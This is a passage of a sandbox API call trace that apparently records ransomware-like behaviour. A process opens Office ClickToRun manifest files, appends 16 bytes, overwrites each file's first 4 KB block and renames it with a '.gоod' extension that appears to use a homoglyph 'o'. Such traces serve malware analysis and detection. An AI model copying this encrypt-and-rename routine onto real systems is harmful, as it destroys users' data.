lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0101.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.837] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0101.838] GetFileType (hFile=0x6e0) returned 0x1 [0101.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.838] GetFileType (hFile=0x6e0) returned 0x1 [0101.838] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0101.838] ReadFile (in: hFile=0x6e0, lpBuffer=0x3442388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3442388*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0101.839] CloseHandle (hObject=0x6e0) returned 1 [0101.839] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0101.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.839] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0101.840] GetFileType (hFile=0x6e0) returned 0x1 [0101.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.840] GetFileType (hFile=0x6e0) returned 0x1 [0101.840] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x2aafe [0101.840] WriteFile (in: hFile=0x6e0, lpBuffer=0x34436d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x34436d0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0101.841] CloseHandle (hObject=0x6e0) returned 1 [0101.841] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0101.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0101.841] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0101.841] GetFileType (hFile=0x6e0) returned 0x1 [0101.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0101.841] GetFileType (hFile=0x6e0) returned 0x1 [0101.841] ReadFile (in: hFile=0x6e0, lpBuffer=0x3445a40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3445a40*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0102.333] CloseHandle (hObject=0x6e0) returned 1 [0102.333] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0102.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0102.333] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0102.333] GetFileType (hFile=0x6e0) returned 0x1 [0102.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0102.333] GetFileType (hFile=0x6e0) returned 0x1 [0102.333] WriteFile (in: hFile=0x6e0, lpBuffer=0x3419720*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3419720*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0102.333] CloseHandle (hObject=0x6e0) returned 1 [0102.334] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0102.334] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x80 [0102.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0102.334] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x39358d8e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2ab0e)) returned 1 [0102.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0102.334] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.gоod")) returned 1 [0102.335] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0102.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0102.335] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x375bdc0 | out: lpFileInformation=0x375bdc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4)) returned 1 [0102.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0102.494] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0102.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0102.495] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0102.495] GetFileType (hFile=0x6e8) returned 0x1 [0102.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0102.495] GetFileType (hFile=0x6e8) returned 0x1 [0102.495] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0102.495] ReadFile (in: hFile=0x6e8, lpBuffer=0x3949c40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3949c40*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0102.496] CloseHandle (hObject=0x6e8) returned 1 [0102.496] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0102.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0102.496] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0102.497] GetFileType (hFile=0x6e8) returned 0x1 [0102.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0102.497] GetFileType (hFile=0x6e8) returned 0x1 [0102.497] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0xf0cb4 [0102.497] WriteFile (in: hFile=0x6e8, lpBuffer=0x394af60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x394af60*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0102.505] CloseHandle (hObject=0x6e8) returned 1 [0102.505] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0102.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0102.505] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0102.505] GetFileType (hFile=0x6e8) returned 0x1 [0102.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0102.505] GetFileType (hFile=0x6e8) returned 0x1 [0102.505] ReadFile (in: hFile=0x6e8, lpBuffer=0x394e798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x394e798*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0103.812] CloseHandle (hObject=0x6e8) returned 1 [0103.812] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0103.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0103.813] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0103.813] GetFileType (hFile=0x6e8) returned 0x1 [0103.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0103.813] GetFileType (hFile=0x6e8) returned 0x1 [0103.813] WriteFile (in: hFile=0x6e8, lpBuffer=0x31b0f80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x31b0f80*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0103.813] CloseHandle (hObject=0x6e8) returned 1 [0103.813] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0103.813] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x75 [0103.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0103.813] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3a17d6f1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0cc4)) returned 1 [0103.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0103.813] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.visiomui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visiomui.msi.16.en-us.xml.gоod")) returned 1 [0103.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0103.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0103.814] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x33fee40 | out: lpFileInformation=0x33fee40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e)) returned 1 [0103.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0103.815] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0103.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0103.815] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0103.815] GetFileType (hFile=0x6e8) returned 0x1 [0103.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0103.815] GetFileType (hFile=0x6e8) returned 0x1 [0103.815] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0103.815] ReadFile (in: hFile=0x6e8, lpBuffer=0x33ff3a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x33ff3a8*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0103.817] CloseHandle (hObject=0x6e8) returned 1 [0103.817] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0103.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0103.817] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0103.817] GetFileType (hFile=0x6e8) returned 0x1 [0103.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0103.817] GetFileType (hFile=0x6e8) returned 0x1 [0103.817] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1536e [0103.817] WriteFile (in: hFile=0x6e8, lpBuffer=0x34006e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x34006e8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0103.818] CloseHandle (hObject=0x6e8) returned 1 [0103.818] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0103.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0103.818] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0103.818] GetFileType (hFile=0x6e8) returned 0x1 [0103.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0103.819] GetFileType (hFile=0x6e8) returned 0x1 [0103.819] ReadFile (in: hFile=0x6e8, lpBuffer=0x3404300, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3404300*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0103.930] CloseHandle (hObject=0x6e8) returned 1 [0103.930] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x79 [0103.930] SetThreadErrorMode (dwNewMode=0x1, 